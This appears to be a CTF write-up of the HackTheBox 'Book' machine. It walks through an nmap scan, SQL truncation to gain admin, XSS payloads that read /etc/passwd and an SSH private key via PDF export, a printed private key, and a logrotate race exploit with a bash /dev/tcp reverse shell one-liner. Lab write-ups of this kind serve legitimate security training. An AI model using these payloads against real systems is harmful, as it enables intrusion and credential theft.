HackTheBox Book Writeup

Hackthebox Book Writeup.

Featured image

logo

Methodology

Nmap-Scan:

as always, i did nmap scan to find out which servicecs was running in this machine, i found 2 opened ports.

22 for ssh and 80 for apache server.

nmap -sV -sC -oN scan.txt 10.10.10.176


Nmap scan report for 10.10.10.176
Host is up (0.38s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
|   256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA)
|_  256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Checking The WebPage:

webpage

home

very simple! but the important thing in this page is the collection section, we will use it to achieve our attack.

now we need to sign up as admin, i will use sql truncation attack to sign up as admin and you can learn about it from here

i will learn you how to achieve the sql attack now.

SQL Truncation & XSS

go to the normal page and go to collections and upload any file with the xss payload in the title. XSS-Attack

this is the normal user page, i will upload txt file with xss payload in the title.


 <script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

go to admin panel and download the collections pdf and pingo!.


 <script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///home/reader/.ssh/id_rsa");
x.send();
</script>


-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
G8m6UNZyRGj77eeYGe/7YIQYPATNL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acC
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u
Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh
sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf
tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi
5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW
y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN
nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4=
-----END RSA PRIVATE KEY-----

User-Flag

Privilege Escalation –> Root

after some enumeration i found that there is service running with root privilege so i used it to got root access. let’s go.

i will use pspy64 to check the processes, and here it is.

logrotate is designed to ease administration of systems that generate large numbers of log files. It allows automatic rotation, compression, removal, and mailing of log files. Each log file may be handled daily, weekly, monthly, or when it grows too large. Logrotate

i will use this exploit Logrotate-Exploit

we will use this exploit to abuse the access.log file in the /home/reader/backups/ to give us reverse shell as root, then we will cat the ssh-key for root.

clone the exploit in your machine with git clone https://github.com/whotwagner/logrotten.git

compile it with gcc logrotten.c -o logrotexp, and upload the exploit to book machine.

the exploit need a payload so let’s meke it. » bash -i >& /dev/tcp/10.x.x.x/8080 0>&1

SSH-Private key –> root

root

Root-Flag

pwned